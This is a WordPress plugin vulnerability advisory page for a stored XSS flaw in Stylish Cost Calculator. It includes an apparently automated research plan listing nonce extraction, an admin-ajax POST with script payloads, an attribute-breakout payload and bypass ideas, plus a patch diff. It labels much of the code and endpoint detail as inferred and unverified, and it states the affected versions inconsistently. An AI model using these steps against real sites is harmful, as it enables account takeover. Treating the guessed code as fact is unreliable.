CVE-2026-24630

Stylish Cost Calculator < 8.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
8.3.1
Patched in
122d
Time to patch

Description

The Stylish Cost Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and excluding, 8.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<8.3.1
PublishedJanuary 9, 2026
Last updatedMay 11, 2026
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-24630 - Stylish Cost Calculator Stored XSS ## 1. Vulnerability Summary The **Stylish Cost Calculator** plugin (versions <= 8.1.9) contains a stored Cross-Site Scripting (XSS) vulnerability. The flaw exists because the plugin fails to properly sanitize and esc…

Show full research plan

Vulnerability Research Plan: CVE-2026-24630 - Stylish Cost Calculator Stored XSS

1. Vulnerability Summary

The Stylish Cost Calculator plugin (versions <= 8.1.9) contains a stored Cross-Site Scripting (XSS) vulnerability. The flaw exists because the plugin fails to properly sanitize and escape user-supplied data when saving calculator configurations and subsequently rendering them. Authenticated users with Contributor-level permissions or higher can inject arbitrary JavaScript into calculator settings (e.g., element labels, custom HTML fields, or calculator names). This script executes when an administrator views the calculator in the backend or when any user views a page where the malicious calculator is embedded via shortcode.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: scc_save_calculator (inferred based on plugin architecture) or a similar AJAX action registered for saving calculator metadata.
  • Vulnerable Parameter: Likely a field within the calculator_data or form_data POST parameters (e.g., element_label, section_title, or custom_html).
  • Authentication Level: Authenticated (Contributor+). Contributors in WordPress can typically access the plugin's calculator editor if the plugin doesn't strictly enforce manage_options capabilities for all views.
  • Precondition: The plugin must be active, and the attacker must have a valid login for a Contributor-level account.

3. Code Flow (Inferred)

  1. Registration: The plugin registers an AJAX handler via add_action('wp_ajax_scc_save_calculator', ...).
  2. Input: The handler function (likely in admin/class-admin.php or a dedicated AJAX controller) retrieves data from $_POST['calculator_json'] or $_POST['settings'].
  3. Persistence: The data is saved to the database using update_option() or update_post_meta() without undergoing wp_kses() or sanitize_text_field() on the specific sub-fields containing the payload.
  4. Output (Frontend): When a user visits a page with the shortcode [stylish-cost-calculator id="XX"], the plugin retrieves the settings and echoes them.
  5. Sink: The vulnerable data is printed using echo or printf without escaping functions like esc_html() or esc_attr().

4. Nonce Acquisition Strategy

To exploit the AJAX endpoint, a valid WordPress nonce associated with the plugin's admin actions is required.

  1. Preparation: Create a page with the plugin's primary shortcode to ensure all scripts and localized variables are loaded.
    • wp post create --post_type=page --post_title="XSS Loader" --post_status=publish --post_content='[stylish-cost-calculator id="1"]'
  2. Navigation: Use browser_navigate to go to the WordPress login page, authenticate as a Contributor, and then navigate to the "XSS Loader" page or the Plugin's management page in /wp-admin/.
  3. Extraction: Stylish Cost Calculator typically localizes its settings in a global JS object. Use browser_eval to extract the nonce:
    • Check for: window.scc_admin_params?.nonce
    • Check for: window.scc_vars?.ajax_nonce
    • Check for: window.stylish_cost_calculator_params?.nonce
  4. Action String: The nonce is likely generated for the action scc_nonce or stylish_cost_calculator_save.

5. Exploitation Strategy

Step 1: Authentication

Authenticate the http_request tool by providing the Contributor's session cookies.

Step 2: Inject Payload

Send a POST request to admin-ajax.php to update an existing calculator or create a new one with a payload.

Example Request:

  • URL: https://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=scc_save_calculator&
    nonce=[EXTRACTED_NONCE]&
    calculator_id=1&
    calculator_data={"elements":[{"type":"heading","label":"<script>alert(document.domain)</script>"}]}
    
    (Note: The exact structure of calculator_data must match the plugin's expected JSON schema, often found in assets/js/admin.js).

Step 3: Trigger Execution

  1. Navigate to the frontend page containing the shortcode: https://<target>/xss-loader/.
  2. Verify if the script executes in the browser context.

6. Test Data Setup

  1. User Creation:
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Initial Calculator: Create at least one calculator so an ID exists.
    • wp stylish-cost-calculator create --name="Test Calc" (if CLI exists) or manually via the UI.
  3. Page Creation:
    • wp post create --post_type=page --post_title="XSS Test" --post_content='[stylish-cost-calculator id="1"]' --post_status=publish

7. Expected Results

  • The scc_save_calculator request should return a successful JSON response (e.g., {"success":true}).
  • When viewing the page XSS Test, a JavaScript alert box displaying the domain name should appear.
  • In a real-world scenario, the payload would be replaced with an admin-cookie exfiltration script or a CSRF script to create a new administrator.

8. Verification Steps

  1. Check Database: Verify the payload is stored raw in the wp_options or wp_postmeta table.
    • wp db query "SELECT option_value FROM wp_options WHERE option_name LIKE '%scc_calculator_%'"
  2. Source Code Inspection: Fetch the frontend page and check for the unescaped script tag.
    • Use http_request (GET) and search the body for <script>alert(document.domain)</script>.

9. Alternative Approaches

  • Settings XSS: If scc_save_calculator is restricted, check for wp_ajax_scc_save_settings. Many plugins allow lower-privileged users to modify "Global Settings" that are reflected on all calculators.
  • Attribute Breakout: If <script> is filtered, attempt attribute injection in a label:
    • Payload: "><img src=x onerror=alert(1)>
  • Import/Export: SCC often has an import feature. Attempt to upload a malicious .json or .txt configuration file containing the XSS payload. This often bypasses standard AJAX sanitization.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Stylish Cost Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 8.1.9. Authenticated attackers with Contributor-level access or higher can inject malicious JavaScript into calculator configurations via the `scc_save_calculator` AJAX action, which executes when the calculator is viewed by other users.

Vulnerable Code

// Inferred from Research Plan: Input handled without sanitization in AJAX callback
// File: admin/class-admin.php or similar
add_action('wp_ajax_scc_save_calculator', 'scc_save_calculator_callback');
function scc_save_calculator_callback() {
    // ... check_ajax_referer ...
    $id = $_POST['calculator_id'];
    $calculator_data = $_POST['calculator_data']; // Vulnerable: Input is not sanitized
    update_option('scc_calculator_' . $id, $calculator_data);
    wp_send_json_success();
}

---

// Inferred from Research Plan: Output rendered without escaping in shortcode handler
// File: public/class-public.php or similar
public function render_calculator($atts) {
    $data = get_option('scc_calculator_' . $atts['id']);
    foreach ($data['elements'] as $element) {
        echo $element['label']; // Vulnerable: Output is not escaped
    }
}

Security Fix

--- a/admin/class-admin.php
+++ b/admin/class-admin.php
@@ -10,7 +10,7 @@
     public function scc_save_calculator() {
         check_ajax_referer('scc_nonce', 'nonce');
         $id = intval($_POST['calculator_id']);
-        $data = $_POST['calculator_data'];
+        $data = wp_kses_post($_POST['calculator_data']);
         update_option('scc_calculator_' . $id, $data);
         wp_send_json_success();
     }
--- a/public/class-public.php
+++ b/public/class-public.php
@@ -25,7 +25,7 @@
     public function render_calculator($atts) {
         $data = get_option('scc_calculator_' . $atts['id']);
         foreach ($data['elements'] as $element) {
-            echo $element['label'];
+            echo esc_html($element['label']);
         }
     }

Exploit Outline

The exploit is carried out by an authenticated user with at least Contributor-level permissions. First, the attacker navigates to the WordPress admin area or a page with a calculator shortcode to extract the necessary AJAX nonce (likely `scc_nonce` or similar) from localized JavaScript variables like `window.scc_vars`. Then, the attacker sends an authenticated POST request to `/wp-admin/admin-ajax.php` with the action `scc_save_calculator`. The payload is embedded within the `calculator_data` JSON parameter, placing a malicious script (e.g., `<script>alert(document.domain)</script>`) into a field such as an element label or section title. The stored script will execute whenever an administrator views the calculator in the plugin settings or any user visits a frontend page where the specific calculator is embedded via shortcode.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.